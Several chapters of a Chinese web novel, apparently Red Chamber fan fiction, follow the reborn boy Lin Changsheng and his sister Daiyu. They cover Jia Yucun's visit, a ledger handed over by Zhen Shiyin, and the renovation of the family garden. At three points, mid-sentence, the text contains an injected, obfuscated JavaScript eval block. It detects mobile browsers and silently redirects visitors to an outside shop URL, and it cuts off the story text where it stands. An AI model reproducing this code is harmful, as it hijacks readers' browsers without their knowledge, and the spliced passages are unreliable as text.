“那便好。”长生点头,声音依旧平和,“既如此,长生便斗胆问一句:大人今日来劝家姐回荣国府,究竟是真心为家姐着想,还是……受了贾府所托?” 贾雨村脸色一变。 长生不给他说话的机会,继续道:“大人不必急着否认,长生年纪小,却不傻。贾府这几日三番两次来人,说的都是同一番话,如今连大人都请动了,可见贾府是铁了心要接家姐回去,只是长生不明白,家姐在自家宅子里过得安稳,为何非要回那府里去?” “世兄,你听我解释……” “大人不必解释。”长生起身,走到窗边,看着窗外细雨,“长生只知道父亲临行前千叮万嘱,让长生护好姐姐。父亲的话长生不敢忘,贾府的好意,心领了,至于姐姐的事,不劳外人费心。” 这话说得重了。 贾雨村脸上青白交错,半晌方道:“世兄这话,是疑心雨村了?” “不敢。”长生转身,看着贾雨村,“长生只是不明白,大人既受了家父恩惠,为何不站在林家这边,反倒帮着贾府来逼林家姐弟?莫非在大人心中,贾府的权势比家父的恩情更重要?” 贾雨村霍然起身,脸上血色尽失。 长生脸庞尽是天真之色,看着对方,笑道:“大人别急,长生只是随口一说,大人是官身,长生是白丁,不该这般说话。只是有些事,大人心里该有数,贾府如今自身难保,扬州盐案牵扯甚广,工部那位郎中的事,大人该听说了罢?” 贾雨村手一抖,茶盏险些打翻。 “长生年纪小,不懂朝政,只是听周文渊周大人说此案牵连下去,怕是要震动朝野。” 长生走回座前,重新坐下,“大人此时与贾府走得太近,未必是好事。您说呢?” 屋里死一般寂静,窗外雨声淅沥,一阵急一阵缓。 贾雨村站在那儿,站了许久,方哑声道:“世兄……教训的是,是雨村糊涂了。” “大人言重。”长生语气缓和下来,“大人是家姐旧师,长生本该敬重,只是家姐身子要紧,长生不得不谨慎,方才若有冒犯,还请大人海涵。” 这话给了台阶,贾雨村忙道:“不敢不敢,是雨村思虑不周,唐突了,既如此,雨村便告辞了,还请世兄代问令姊安好。” “大人慢走。” 送走贾雨村,长生站在廊下,看着那略显仓惶的背影消失在雨幕中,心里并无多少快意,反倒添了闷气。 贾府连贾雨村都搬出来了,可见是急了,可他们越急,说明扬州那边情形越险。 “少爷,”林忠撑着伞过来,低声道,“姑娘让您过去一趟。” 黛玉在花厅里,面前摆着针线,却一针未动。 见长生进来,她抬头看他,眼神复杂。 “贾雨村走了?” “走了。” 黛玉沉默片刻,轻声道:“我听见你们说话了。” 长生在她对面坐下:“姐姐怪我说话太重?” “不,”黛玉摇头,眼里有淡淡笑意,“我原本还担心你顾忌他是我旧师,要给他留脸面,如今看来,是我想多了。” 长生松了口气:“这种人,给他留脸面,他反倒要蹬鼻子上脸,姐姐不怪我就好。” “我怪你作什么?” 黛玉拿起针线,慢悠悠开口,却含笑瞧着这可爱的弟弟,“他是什么人,我早就看明白了,当年在扬州,他授课时倒是尽心,可一下课便往父亲书房跑,说的都是官场钻营的话,父亲那时还说他勤勉,如今想来。” 她没说下去,可长生懂。 林如海是正人君子,看人总往好处想,贾雨村那般作态,反倒得了他的赏识。 “姐姐,”长生道,“贾府这般急着要你回去,定有缘故,我疑心,不单是为拿捏父亲。” 黛玉手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886374|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿:“你是说……” “贾府如今处境不妙,急需助力。姐姐若在府里,父亲多少要顾忌,这是一层。” 长生向来对姐姐知无不言,从不瞒着姐姐,“还有一层,我听说元妃在宫中,近来也不大顺当,若真有事,贾府怕是要寻别的出路。” 黛玉脸色微白:“你是说他们想拿我的婚事作文章?” “未必是婚事,但总归是要用姐姐牵制林家。” 长生握住她的手,“姐姐放心,有我在,绝不会让他们得逞。” 黛玉看着他,眼里渐渐泛起水光,却强忍着没落下来。她反握住长生的手,低声道:“长生,你才六岁,不该担这些事。” “该不该,都担了。”长生笑笑,“再说,我虽六岁,可读过书,明事理。有些事,不是年纪小就能躲过去的。” 姐弟二人正说着,外头忽传来脚步声。 严朴撑着伞进来,身上沾了些雨气。 “先生怎么来了?”长生起身。 严朴将伞交给林忠,神色凝重:“刚得的消息,扬州那边出事了。” 长生心里一紧:“父亲……” “不是林大人。”严朴坐下,接过黛玉递的茶,“是那几个被查的盐商,昨日在狱中……暴毙了。” 屋里一时寂静。 “暴毙?”长生声音发干,“怎么死的?” “说是染了时疫,一夜之间全没了,”严朴冷笑,“哪有时疫这般巧,专染在狱里,还专染那几个要紧人犯?分明是杀人灭口。” 黛玉手一颤,茶盏碰在桌上。 长生扶住她,对严朴道:“父亲可安全?” “林大人无恙,只是……”严朴接着说,“此案如今成了无头案,那些盐商一死,许多线索便断了,圣上震怒,已下旨让刑部、大理寺、都察院三司会审,林大人是主审官之一。” 三司会审,长生闭了闭眼。 这是要将父亲架在火上烤,审出来,要得罪一干权贵,审不出来,便是无能,进退两难。 “还有一事。”严朴看着长生,“你前日让我打听甄士隐,我打听到了,他如今不在玄墓山。” “那在何处?” “在京西牟尼院。”严朴声音压得更低,“听说半月前,有人去玄墓山寻他,他当夜便搬去了牟尼院,那地方偏僻,香火不盛,倒是避世的好去处。” 有人寻他……是贾府?还是别的什么人? “先生,我想去一趟牟尼院。” “现在去不妥。”严朴摇头,“既有人寻他,定是盯上他了,你这般去,反倒打草惊蛇,再等等,等风头过去些。” 他说得对,可林长生心里着急,账册在甄士隐手中,那是扳倒那些人的关键。 若让人抢先一步…… “长生,”黛玉开口,“你听严先生的,越是紧要关头,越要沉住气。” “姐姐说得是。”他点头,“是我心急了。” 严朴又交代几句,起身告辞。 送走严朴,雨渐渐小了。 长生站在廊下,看着院中那株被雨打湿的海棠,花瓣落了满地,混在泥水里,失了颜色。 黛玉走过来,与他并肩站着。 “长生,你说父亲在扬州,此刻在做什么?” 长生想了想,道:“该是在看卷宗,查线索,父亲是认真的人,既接了这案子,定要查个水落石出。” “那便好。”黛玉轻声道,“父亲是清官,为朝廷办事,咱们该为他骄傲。” 长生转头看她。 “姐姐,”他忽然道,“等这事了了,咱们回扬州去罢,父亲说扬州春日好,琼花开时满城如雪,咱们去看。” 黛玉笑了,眼里有浅浅的光:“好,咱们去看琼花。” 14. 秋千院落 断断续续下了七八日的雨,终是晴了。 林宅后园那几株桃树经了雨,花苞胀鼓鼓的,将开未开,长生早起在园中散步,见墙角那架旧秋千的绳索已朽了,木板也裂了缝,想着黛玉素日不爱出门,在园中又无甚可玩,便起了心思。 早饭后,他找来林忠:“忠伯,我记得库房里有几卷新麻绳,还有几块松木板,你让赵木匠来一趟,把这秋千修一修。” 林忠应了,又迟疑道:“少爷,姑娘的性子…怕是不爱玩这些。” 长生笑道:“姐姐是文静,可整日闷在屋里也不好,修好了她若想玩便玩,不想玩,看看花、荡荡风也是好的。” 林忠这才明白,少爷这是变着法儿让姑娘散心呢,忙道:“老奴这就去办。” 赵木匠是左近有名的巧手,不过半日工夫,秋千便修好了,新换的麻绳绞得结实,木板刨得光滑,还细心地刷了层清漆。 长生又让在秋千架旁移栽了几株蔷薇,等夏日里爬满架子,花开时坐在秋千上,定是极好看的。 一切收拾停当,长生去请黛玉。 黛玉正在屋里临帖,见长生来,搁下笔道:“今日倒早,严先生不是说要考你《左传》么?” “先生临时有事,改在明日了,”长生笑道,“姐姐整日闷在屋里,随我去园中走走罢,桃花快开了。” 黛玉本不想动,可见长生眼巴巴看着,心一软,便道:“也罢,坐得久了,是有些乏。” 姐弟二人往后园去,春日的阳光暖融融的,洒在身上,驱散了连日的阴寒,园子里花草经了雨,长得越发精神,那几株桃树果然绽了星星点点的粉。 转过假山,黛玉一眼瞧见那架新秋千,愣了愣。 “这是……” “旧的那架坏了,我让木匠新修的。”长生引她过去,“姐姐试试,坐着稳不稳。” 长生扶着黛玉坐下,轻轻一推,秋千荡起来。 黛玉起初有些拘谨,可荡了几回,眉眼渐渐舒展开,她今日穿着浅碧色绣兰草的春衫,随着秋千起落,衣袂轻扬,倒有些像风里摇曳的兰。 长生站在一旁看着,心里也跟着轻快起来,自重生以来,他步步为营,时时警惕,难得有这样松快的时刻,姐姐能开怀一笑,便是值得的。 黛玉荡了一阵,让秋千慢慢停下,转头对长生道:“你也来试试?” 长生摇头,一本正经:“我大了,不玩这个。” 其实他是害臊,重生回来的心性早已不能与六七岁孩子相比,再者,让姐姐推,他可舍不得。 可黛玉知他心思重,从不肯像寻常孩童般玩闹,便也不勉强,取笑了几句后道,:“那你在旁坐着,陪我说说话。” 长生在秋千旁的石凳上坐下,姐弟二人一时无话,只静静看着满园春光。 半晌,黛玉轻声道:“长生,你还记得扬州老宅那架秋千么?” 长生一怔。 扬州老宅?那是很久以前的记忆了。 那时母亲还在,常抱着他,看姐姐在秋千上荡来荡去,前世自己三岁便夭折,哪来的记忆,只不过是后来夭折时的走马灯罢了。 “记得。”他张口就来,“姐姐那时爱穿杏黄的裙子,荡秋千时,裙子飞起来,像蝴蝶。” 黛玉眼里泛起浅浅的笑意:“你那时才三岁,竟还记得。” “记得的,”长生继续瞎编,“母亲总怕姐姐摔着,让嬷嬷在底下看着,姐姐却不怕,越荡越高。” 黛玉笑了,那笑里有些怀念,也有些怅惘:“是啊,母亲总担心我摔着,可后来……”她低落,“后来母亲不在了,那架秋千也朽了,再没人修。” 长生握住她的手:“如今咱们有新的了,等父亲回来,让他推姐姐荡秋千,保管比从前荡得还高。” 黛玉看着他,眼里有温柔的光:“好,等父亲回来。” 正说着,香菱端着茶点过来。 她见了秋千,眼睛一亮:“这秋千修好了?真好看。” 黛玉招手让她近前:“你也来试试?” 香菱连忙摇头:“香菱不敢。” “什么敢不敢的。”黛玉拉她坐下,“咱们家里,没那么多规矩,你整日伺候我,也松快松快。” 香菱这才小心翼翼坐下,长生轻轻一推,秋千荡起来,起初还拘谨,可荡了几回,她脸上也露出笑来,那笑纯净,眉间胭脂痣甚是灵秀。 黛玉在一旁看着,眼里有淡淡的笑意。 长生在一旁揣摩着姐姐心思,姐姐心疼香菱是真,香菱乖巧知恩好学亦是真,姐姐待她不像寻常主仆,倒是像极玩伴,可香菱总归是要认亲的,长生寻思着要不要再找几个贴己的让姐姐开心开心,避免日后难过。 正玩着,外头林忠来报:“少爷,陈公子来了。” 长生起身:“请到书房。” 又对黛玉道:“姐姐再玩会,我去去就来。” 黛玉点头:“你去罢,正事要紧。” 长生往前院去,心里想着陈景行此来,定是有消息,自那日盐商暴毙,扬州的消息便断了,他正着急。 书房里,陈景行已候着。 见长生来,忙起身:“林公子。” “陈兄不必多礼,坐,”长生让林忠上茶,掩了门,方道,“可是有消息?” 陈景行点头,压低声音:“我父亲从绍兴来信,说扬州那边案子结了。” 长生心一提:“结了?如何结的?” “那几个盐商贪墨属实,已定了罪,家产抄没,家人流放。”陈景行道,“至于牵扯到的京官奏折,圣上留中不发。” 留中不发,长生心一沉,这意思是这件事既不交议,也不批复了。 “贾府那边……” “贾政老爷停职待勘,如今在家闭门思过。”陈景行道,“圣上虽未明着处置,可这待勘二字,已是敲打。贾府如今门庭冷落,那些往日走动的都避之不及了。” 长生点点头,这结果不出他所料。 圣上既要敲打贾府,又不想彻底撕破脸,这才用了留中不发和待勘这些手段,只是如此一来,局面更微妙了。 而父亲得了嘉奖,却也成了某些人的眼中钉。 “陈兄,”他抬眼,“多谢你告知,此事关系重大,还请陈兄莫要再与旁人提起。” “我明白。”陈景行郑重道,“林公子放心,我父亲与林大人是同年,这份情谊,景行记在心里。只是……”他顿了顿,“我今日来,还有一事相求。” “陈兄请讲。” 陈景行从袖中取出篇文章,递过来:“这是国子监博士留的课业,题目是《盐政利弊论》,我知林公子对盐务有见解,想请公子指点一二。” 长生接过,略看了看,文章写得工整,论点也清晰,只是有些地方流于表面。 他提笔批改了几处,又将自己对盐务的见解说了些,陈景行听得认真,不时点头。 两人说了约半个时辰,陈景行方起身告辞。 送走陈景行,长生在书房里坐了会儿。 窗外春光正好,可他心里却像压着块石头。 留中不发…… 正出神,黛玉推门进来,手里端着碗热汤。 “陈公子走了?” “走了,”长生接过汤,“姐姐怎么来了?” “见你午饭没用多少,让厨房炖了汤,”黛玉在他对面坐下,打量他脸色,“可是扬州那边有事?” 长生不想让她担心,只道:“没什么大事,盐案结了,那几个盐商定了罪,父亲在扬州一切都好。” 黛玉探究看着他,却不再追问,只道:“那就好,你且把汤喝了,凉了便腥了。” 长生低头喝汤,热汤入腹,身上渐渐暖了。 黛玉静静坐在一旁,等他喝完,接过空碗,轻声道:“长生,我知道你心里有事。你不说我便不问,只是咱们姐弟是一体的,你若累了便歇歇,父亲不在,我虽不能替你分忧,却也能听你说说话。” 长生心头一热,握住姐姐的手:“姐姐放心,我没事,只是、只是想着父亲一人在外,心里挂念。” 黛玉点头:“我懂,我也挂念父亲,可咱们在京中好好的,父亲才能安心办事。你说是不是?” “姐姐说得是。” 姐弟二人说了会话,黛玉方起身:“你且歇着,我再去看看那秋千,蔷薇该浇水了。” 长生送她到门口,看她纤细的背影往后园去,心里涌起一阵暖意。 次日,严朴来了。 他今日神色轻松,见长生在书房临帖,笑道:“今日不考你功课,带你去个好地方。” 长生搁下笔:“先生要带我去何处?” “去了便知。”严朴卖关子,“你姐姐呢?一并叫上。” 黛玉本不愿出门,可严朴亲自来请,不好推辞,只得换了衣裳,与长生一同上车。 马车出了城,往西行了约半个时辰,停在一处山脚下,长生掀帘看去,见山势平缓,满山桃李花开得正盛。 “这是京西玉泉山,”严朴道,“春日里景致最好。我有个故人在山上住,今日带你们来散散心。” 三人沿着山道往上走,路旁野花烂漫,鸟声清脆。 黛玉许久未出城,见了这景致,眉眼也舒展了些。 走了一程,见半山腰有座小院,竹篱茅舍,很是清幽,院门开着,里头传来琴声。 严朴笑道:“这便是了。” 引二人进去。 院里种着几丛翠竹,竹下坐着个青衣道人,正在抚琴,见他们来,琴声止住,道人起身施礼。 “这位是清风道长。”严朴介绍,“道长琴艺一绝,今日特请他来为你们抚一曲。” 长生与黛玉行礼,清风道长还了礼,请他们坐下,又续上香,重新抚琴。 琴声清越,如山间流水,林间松风,长生听得出神,黛玉也静静听着,眉间忧虑渐渐平和。 一曲终了,清风道长笑道:“许久不弹,生疏了,二位莫怪。” 黛玉道:“道长过谦了,此曲清幽高远,有出世之音。” 清风道长看她一眼,点头:“姑娘懂琴。” 又对严朴道:“你这学生,不只学问好,家姊也非凡品。” 严朴笑而不语。 几人说了会子话,清风道长又抚了几曲,日头渐高,严朴道该回去了,便辞了道长,带长生姐弟下山。 回程路上,黛玉神色好了许多,长生知严朴是特意带他们来散心,心里感激。 马车进城时,已近黄昏,街市上人烟渐稀,炊烟袅袅升起。 路过荣国府那条街时,长生掀帘看了一眼。 往日车马盈门的荣国府,如今门前冷落,只有两个老门房守着,神色惶惶。 黛玉也看见了,轻轻叹了口气。 “姐姐莫难过。”长生低声道,“各人有各人的缘法。” 黛玉点头:“我知,只是想起外祖母,她年纪大了,经不起这般折腾。” 长生不语,贾母是疼黛玉的,可那份疼,抵不过家族利益。如今贾府这般,也是咎由自取。 回到林宅,天色已暗。林忠迎出来,低声道:“少爷,沈大人来了,在书房等候。” 长生与黛玉对视一眼,对严朴道:“先生且坐,我去去就来。” 书房里,沈砚正负手看墙上挂的字画,见长生进来,转身道:“今日去了何处?” “严先生带我们去玉泉山散心,”长生道,“沈伯父此来,可是有消息?” 沈砚点头,:“你父亲要回京了。” 长生早已心知肚明,:“何时?” “就在这三五日。”沈砚道,“圣上已下密旨,调你父亲回京,任户部右侍郎。旨意过两日便明发。” 户部右侍郎,正三品,这是升了。 长生却无喜色:“沈伯父,父亲回京途中……” “我正要与你说这个,”沈砚压低声音,“你父亲此番在扬州查案,触动了不少人的利益,虽圣上留中不发,可那些人不会善罢甘休。回京这一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886375|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恐不太平。” 长生心一沉:“父亲可有防备?” “有。”沈砚道,“我已安排人手沿途护卫,你父亲自己也带了亲信。只是……明枪易躲,暗箭难防。” 长生默然。 是了,暗箭难防,那些人若狗急跳墙,什么事都做得出来。 “沈伯父,长生能做些什么?” 沈砚看着他,眼里有赞许,也有怜惜:“你保护好自己,保护好你姐姐,便是帮你父亲最大的忙了。京中这边,有我和周大人,你父亲不会有事。” 长生知道他说的是实话,他一个六岁孩童,能做的实在有限。 “还有一事。”沈砚从袖中取出封信,“你父亲给你的。” 长生接过,拆开看。 是林如海的亲笔,字迹遒劲,只有短短几行: “吾儿长生:扬州事毕,不日归京,汝与汝姊在京,务必谨慎。贾府之事,莫要再插手,待为父归,自有计较。保重。” 长生将信看了三遍,折好收起:“谢沈伯父,长生明白。” 沈砚拍拍他肩:“好孩子,你父亲有你这样的儿子,是他的福气。” 送走沈砚,长生在书房里坐了许久,父亲要回来了,这是喜事,可这喜里掺着太多未知。 正想着,黛玉推门进来,手里端着碗热汤。 “沈大人走了?” “走了,”长生接过汤,“姐姐怎么还没歇息?” “睡不着,”黛玉在他对面坐下,看着他喝汤,“沈大人来说了什么?” 长生将父亲升官回京的事说了,略去途中危险那段,黛玉听了,脸上露出喜色:“父亲要回来了?还升了官?” “是。”长生笑道,“户部右侍郎,正三品,等父亲回来,咱们一家团聚,便好了。” 黛玉眼里泛起欢喜泪光,:“好,好,父亲在外辛苦了这些年,总算……总算有了着落。” 长生看着她欢喜的模样,心里那点忧虑也散了些。 是啊,父亲要回来了,一家团聚,这便是最好的事,至于那些明枪暗箭总有办法的。 “姐姐,”他笑道,“等父亲回来,待这些糟蹋事过了之后,咱们把扬州老宅那架秋千也修好,好不好?父亲推你荡秋千,定比从前荡得还高。” 黛玉笑了,笑里满是憧憬:“好,还要在秋千架下种满蔷薇,像母亲在时那样。” “嗯,种满蔷薇。” 姐弟二人说着话,窗外月色渐明,清清冷冷的,洒了满院。 守着姐姐服了药睡下,长生才退出屋来,站在廊下,看着满院春光,心里一片寒凉。 这才只是开始,那些人既敢明目张胆来杀盐商,便是不顾一切了,父亲回京这一路…… 他不敢再想。 正此时,林忠匆匆过来,低声道:“少爷,后门有人求见,说是姓甄。” 长生心头一跳:“快请到书房。” 来的是个中年道人,穿着半旧道袍,容貌清癯,正是甄士隐,他进得书房,也不寒暄,从怀中取出个油布包裹,放在桌上。 “林公子,此物交给你。” 长生接过,打开一看,是半本账册,纸张已泛黄,墨迹却还清晰,他翻了几页,心头大震。 这上头记的,正是那些盐商与京中权贵的往来账目,其中就有贾府、王府,还有几位朝中大员。 “甄先生,这是……” “这是那王姓盐商死前托人带给我的,”甄士隐声音低沉,“他说若他死了,便将此物交给林如海林大人,如今林大人不在京中,交给公子,也是一样。” 长生起身,深施一礼:“谢先生,此物于家父,于朝廷,都至关重要。” 甄士隐摆摆手:“不必谢我,贫道如今是方外之人本不该再过问尘事,只是……” 他声音很低,紧接着道,“只是前几日有人去玄墓山寻我,问的也是这账册,我知此事要紧,这才连夜搬去牟尼院,如今账册既已交出,贫道便安心了。” “有人寻先生?”长生心一紧,“可知是何人?” “不知,”甄士隐摇头,“来的是几个黑衣人,夜里来的,问了几句话便走了。看身形举止,像是练家子。” 长生心沉了下去,那些人果然盯上了甄士隐。 “先生如今在牟尼院,可安全?” “暂且无事。”甄士隐道,“那地方偏僻,香客少,反倒清净。公子不必挂心。” 长生却不敢大意,那些人既寻到玄墓山,未必寻不到牟尼院。 “先生若信得过长生,便在寒舍暂住几日,等风头过了,再回观中不迟。” 甄士隐看了他一眼,摇头:“公子好意贫道心领,只是贫道既已出家,便不想再涉红尘,再者,那些人寻的是账册,如今账册已不在我手,他们便不会再来寻我,公子放心。” 说罢,起身要走。 长生知留不住,只得送他。 到后门,甄士隐忽然停步,回头道:“公子,贫道有一事相求。” “先生请讲。” “若公子日后得闲,可否代贫道打听一人?” 甄士隐声音发颤,“贫道有一女,小名英莲,三岁被拐,这些年,贫道多方打听,却杳无音信,如今……如今也不知是死是活。” 长生抿了抿唇,英莲就在府里,就在姐姐身边。 可这话,他说不出口,说了,甄士隐定要相认,可如今这情势,相认是福是祸? “先生放心。”他听见自己的声音说,“长生定会留心打听,若有消息,定第一时间告知先生。” 甄士隐深深一揖:“谢公子。” 转身,消失在巷口。 长生站在门内,握着那本账册,手心全是汗。 账册找到了,父亲又掌握了一大证据,至于甄士隐父女相认此事,有待商榷。 回到书房,他将账册藏好,这是扳倒那些人的关键,必须要等父亲回京,不可轻举妄动打草惊蛇。 操之过急,引火烧身。 15.芳园小筑 三月廿一,谷雨。 连绵多日的阴雨终于歇了,天色放晴,暖融融的日头照进林宅后院,长生一早便起来了,披了件薄夹袄,在园子里踱步。 自沈砚来报信,说父亲已平安抵京、暂住驿站等候圣旨明发,他心头那块大石才算落了地。 这几日朝中正忙着盐案收尾,林如海需在驿站待诏,不得归家,但人既已到了京城,便是天大的安稳。 长生走着走着,停在那架秋千前。 秋千修好已有十来日,黛玉倒是常来坐坐,可总显得心事重重,他清楚姐姐这是挂念父亲,也想让这宅子更有些生气,好教父亲回来时瞧着欢喜。 正思量着,林忠提着一壶热水过来:“少爷起得早,姑娘那边传话,说今儿想移几盆兰草到廊下,问少爷觉得如何。” 长生眼睛一亮:“这主意好。忠伯,你去花市瞧瞧,不拘兰草,有什么应季的花草,多买些回来,再寻些奇巧的盆景、山石,把园子好生装点装点。” 林忠笑道:“老奴这就去办。只是这花草讲究搭配,是不是请个懂行的花匠来瞧瞧?” 长生点头:“你去请。要手艺好的,价钱不论。” 林忠应声去了。 长生又往黛玉院里走,想与她商量园子的事,才到月洞门,便听见里头有说笑声,是黛玉在教香菱念诗。 “……梨花院落溶溶月,柳絮池塘淡淡风。”黛玉的声音清清泠泠的,“这两句好,是晏同叔的《无题》,你记着写景不单要写得真,还要写出气象。这‘溶溶’、‘淡淡’,便是气象。” 香菱怯怯地跟着念,声音细软。 长生立在门外听了会儿,心里泛起暖意,姐姐肯教香菱念诗,肯打理花草,这便是渐渐从忧虑里走出来了,他转身悄悄退开,不愿打扰这片刻安宁。 晌午时分,林忠请的花匠来了,是个五十来岁的老师傅,姓胡,在京中侍弄花草三十余年,很有些名气。 胡师傅跟着长生在园中走了一圈,指着各处道: “这南墙根可种几丛湘妃竹,夏日遮阴,冬日也翠,东边那架蔷薇该修了,老枝太多,新花就少,西边可搭个葡萄架,下头摆石桌石凳,乘凉喝茶都好。至于这秋千旁……” 胡师傅注意到千秋旁自栽的蔷薇,又说,“此物甚好,再移几株西府海棠来,海棠配秋千,最是雅致。” 长生一一记下,又指着正房廊下:“这里想摆些盆景,四季常青的。” 胡师傅点头:“这个容易,罗汉松、五针松、金弹子,都是好盆景,老朽家里正养着几盆,明日便送来。只是……” 他犹豫了下,“老朽听说贵府老爷是江南人,想来喜欢些水景。这园中若凿个小池,引活水,养几尾锦鲤,再植些睡莲,岂不更妙?” 长生心中一动。父亲确是爱水的,扬州老宅便有个小池,夏日里荷花开了,父亲常在那池边看书。只是凿池工程不小,怕是要费些时日。 “先生这主意好,只是这引水……” “老朽识得专做水景的匠人,”胡师傅笑道,“林公子若有意,老朽可引荐。” 长生当即应下,又交代林忠备好银两,一切听胡师傅安排。 这边正说着,外头门房来报,说陈景行陈公子来了。 长生往前厅去,见陈景行穿着一身半新不旧的青衫,手里提着个小包袱,神色间有几分喜气。 “陈兄。”长生拱手。 陈景行还礼,从包袱里取出个木匣:“前日蒙林公子指点文章,景行受益良多。今日特来道谢,这是家父从南边捎来的新茶,请公子品尝。” 长生接过,让座奉茶。 陈景行又道:“还有一桩事,是国子监下月要办文会,祭酒大人亲自点的题,是《盐政得失论》。景行想着,林公子对此素有见解,不知可否赐教一二?” 长生心下了然。 陈景行这是借请教之名,来探他口风。盐案虽了,余波未平,国子监此时出这题目,意味深长。 “陈兄客气,”长生道,“不过是些粗浅见识,依我看来,盐政之弊,不在法,而在人。法再严,人若贪,便是虚设,反之,人若清,法即便疏,也能为民。” 陈景行若有所思:“公子是说……吏治?” “正是。”长生点头,“盐商之所以敢贪,是因有官吏庇护,官吏之所以敢庇,是因有京中靠山。这层层勾结,才是症结所在。” “那依公子之见,该如何根治?” 长生笑了笑:“这便不是我能妄议的了,自有圣上圣裁,朝堂诸公谋划。咱们做学子的,明理即可,不必多言。” 陈景行会意,不再追问,转而说起闲话,两人又聊了会子文章,陈景行方起身告辞。 送走陈景行,长生回到后院,见胡师傅已指挥着几个匠人开始移栽花木。 罗汉松、金桂、玉兰,一株株往园中搬,黛玉也出来了,站在廊下看,眉眼间有淡淡的笑意。 “姐姐觉得如何?”长生走过去。 “很好,”黛玉轻声道,“这园子从前太素,添些花草,便活泛了。父亲回来见了,定会喜欢。” “等池子凿好了,再养几尾锦鲤,夏日看鱼,也是趣事。” 黛玉点头,想起什么:“我方才见他们搬了盆西府海棠,说是摆秋千旁,那海棠我见过,花开时如云似霞,极美的。只是咱们院墙边那株老杏,今年花开得也好。” 长生心里一动。姐姐提起杏花,是想扬州老宅了。 “姐姐若喜欢杏花,明日让胡师傅移几株来。”他道,:“可否摆在海裳旁?” 黛玉却摇头:“不必了,花草贵在适意,强求反而不美,那株老杏长在那儿是它的缘分,咱们赏它的花,念它的好,便够了。” 长生默然,姐姐这话,是说花,也是说人,世事聚散,皆有缘法,强求不得。 三日后,园子大致收拾停当了。 新移的湘妃竹已生了新叶,风一过,沙沙作响。 蔷薇架修得整齐,花苞累累,想来五月便能盛开,廊下摆了几盆罗汉松,姿态虬劲,衬着白墙黛瓦,格外清雅。 最妙的是那小池, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16895174|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然凿成了,引的是外头的活水,池底铺了青石,养了七尾锦鲤,红白相间,在清水中悠然游弋。 池边植了几丛菖蒲,又移了两株睡莲,叶子才舒展开,嫩生生的。 黛玉极爱这池子,每日要在池边坐许久,有时看鱼,有时看书,有时什么也不做,就静静看着水面倒影。 这日,长生从外头回来,手里捧着个锦盒。他径直往后院去,见黛玉正坐在池边石凳上,香菱在一旁喂鱼。 “姐姐。”长生走过去。 黛玉回头,见他手里捧着东西,笑道:“又得了什么宝贝?” 长生打开锦盒,里头是架黄铜镶珐琅的西洋自鸣钟,钟面莹白,镶着罗马数字,底下垂着鎏金摆锤,精巧可爱。 “这是沈伯父今日送来的,说是西洋贡品,圣上赏了几架下来,他得了一架,转送给姐姐解闷。” 黛玉接过,细细端详。 那钟不过巴掌大小,却极精致,珐琅上绘着缠枝莲纹,中西合璧,别有风味。 “倒是稀罕物。”黛玉轻声道,“只是太贵重了。” “沈伯父说,这是谢姐姐前日抄的经,”长生道,“姐姐为父亲祈福,抄了《金刚经》,沈伯父都送去云水庵了,父亲见了,很是欣慰。” 黛玉眼圈微红,低头抚着那钟:“我不过是尽些心意,父亲在外辛苦,我做女儿的,不能分忧,只能如此。” “姐姐的心意,父亲都知道,”长生温声道,“等父亲回来,见姐姐身子好了,园子也收拾得齐整,定会欢喜的。” 正说着,那自鸣钟“铛”地响了一声,黛玉吓了一跳,随即笑了:“这东西倒有趣。” “这是报时的,”长生指着钟面,“姐姐看,这短针指时辰,长针指刻,这摆锤一动,便走字,到整点便会响,一个时辰响一声,两个时辰响两声,以此类推。” 黛玉仔细看着,果然见那摆锤轻轻摆动,长针随之移动,她素来喜爱精巧之物,这钟既新奇又雅致,很合她心意。 “难为沈伯父想着。”她将钟小心收好,“香菱,去把我前日做的那个香囊拿来。” 香菱应声去了,不多时取来个杏色绣缠枝莲的香囊,黛玉接过,递给长生:“这是我做的,里头装了白芷、丁香、佩兰,最是安神,你明日去沈府,替我谢谢沈伯父。” 长生接过,香囊针脚细密,绣工精巧,一闻果然清香扑鼻,他知这是姐姐熬夜做的,郑重收好,讨好道“姐姐,我的呢?” 林黛玉看了他一眼,笑道,:“你的还少吗?” 姐弟二人又在池边坐了会儿,夕阳西下,将池水染成金红,锦鲤游到水面,唼喋有声。 “长生,”黛玉道,“父亲何时能回来?” “快了,”长生望着天边晚霞,“圣旨已下,父亲升任户部右侍郎,这几日该是交接盐政,等交接完了,便能回府了。” 黛玉点头,不再说话,两人静静坐着,看暮色一点点染红天际。 晚风拂过,花草清香,园中新移的玉兰开了几朵,洁白如雪,在暮色中格外醒目。 16.父女父子团聚 四月初一,宜归宁,宜入宅。 